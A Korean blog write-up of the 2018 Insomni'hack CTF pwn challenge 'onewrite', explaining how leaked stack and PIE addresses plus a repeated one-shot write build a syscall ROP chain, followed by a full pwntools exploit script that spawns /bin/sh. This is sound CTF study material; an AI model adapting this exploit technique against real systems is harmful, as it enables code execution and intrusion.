2018 insomnihack onewrite
PIE가 걸려있다..
근데 바이너리에서 PIE를 leak해주니까 상관없다!
둘 중 하나를 leak해주고 1byte aribtrary write가 가능하다.
처음에 stack을 leak한 후 ret을 덮어씌워 돌아가 pie를 leak하면 둘 다 leak할 수 있다.
하지만 이제부터 어려워지는데 이런 상황이 계속된다면 ret만 한 번 바꿀수 있지 다른 곳에 값을 못쓴다..
근데 do_leak 함수의 시작 부분에 가보면 do_leak의 주소값을 rbp+0x10에 넣어준다. 즉, 저 근방으로 jump하면 rbp+0x10의 do_leak, do_overwrite를 들어갈 때 남기는 do_leak, 총 두개가 스택에 남아 한 번의 write를 할 수 있는 기회가 생긴다.
이를 반복하여 static이기 때문에 syscall을 이용하여 bss rop를 하면 된다.
급하게 푸느라 코드가 매우 더럽습니다 !!
xxxxxxxxxx
from pwn import *
#context.log_level = 'debug'
e = ELF('./onewrite')
s = process(e.path)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
# 0x7ffff7d4a000
def leak(sel):
ru('> ')
sl(sel)
leak = int(s.recv(14), 16)
print('leak!: {}'.format(hex(leak)))
return leak
def overwrite(addr, data):
ru(': ')
s.send(addr)
ru(': ')
s.send(data)
stack = leak('1')
ret = stack - 0x8
print('ret!: {}'.format(hex(ret)))
overwrite(str(int(ret)), '\x15')
pie = leak('2')
main = pie - 0x8a15
do_leak = main + 0x8a15
print('main!: {}'.format(hex(main)))
pop_rdi = main + 0x7d803
pop_rsi = main + 0x1dc1f
pop_rdx = main + 0x484c5
pop_rax = main + 0x6e8d1
syscall = main + 0x6e635
bss = main + 0x2B3300
pop_rsp = main + 0x12e15
binsh = bss+72
overwrite(str(int(ret+8)), p64(do_leak))
leak('1')
overwrite(str(int(bss)), p64(pop_rdi))
leak('1')
overwrite(str(int(ret+8*2 - 0x18)), p64(do_leak))
leak('1')
overwrite(str(int(bss+8)), p64(binsh))
leak('1')
overwrite(str(int(ret+8*3 - 0x18*2)), p64(do_leak))
leak('1')
overwrite(str(int(bss+16)), p64(pop_rsi))
leak('1')
overwrite(str(int(ret+8*4 - 0x18*3)), p64(do_leak))
leak('1')
overwrite(str(int(bss+24)), p64(0))
leak('1')
overwrite(str(int(ret+8*5 - 0x18*4)), p64(do_leak))
leak('1')
overwrite(str(int(bss+32)), p64(pop_rdx))
leak('1')
overwrite(str(int(ret+8*6 - 0x18*5)), p64(do_leak))
leak('1')
overwrite(str(int(bss+40)), p64(0))
leak('1')
overwrite(str(int(ret+8*7 - 0x18*6)), p64(do_leak))
leak('1')
overwrite(str(int(bss+48)), p64(pop_rax))
leak('1')
overwrite(str(int(ret+8*8 - 0x18*7)), p64(do_leak))
leak('1')
overwrite(str(int(bss+56)), p64(0x3b))
leak('1')
overwrite(str(int(ret+8*9 - 0x18*8)), p64(do_leak))
leak('1')
overwrite(str(int(bss+64)), p64(syscall))
leak('1')
overwrite(str(int(ret+8*10 - 0x18*9)), p64(do_leak))
leak('1')
overwrite(str(int(bss+72)), "/bin/sh\00")
leak('1')
overwrite(str(int(ret+8*11 - 0x18*10+16)), p64(bss))
leak('1')
overwrite(str(int(ret+8*12 - 0x18*10)), p64(pop_rsp))
io()
'system > writeup' 카테고리의 다른 글
2019 codegate aeiou (0) | 2019.01.29 |
---|---|
2017 rctf rnote (0) | 2019.01.28 |
2019 codegate god-the-reum (0) | 2019.01.27 |
2018 codegate zoo (0) | 2019.01.25 |
2018 codegate super marimo (0) | 2019.01.24 |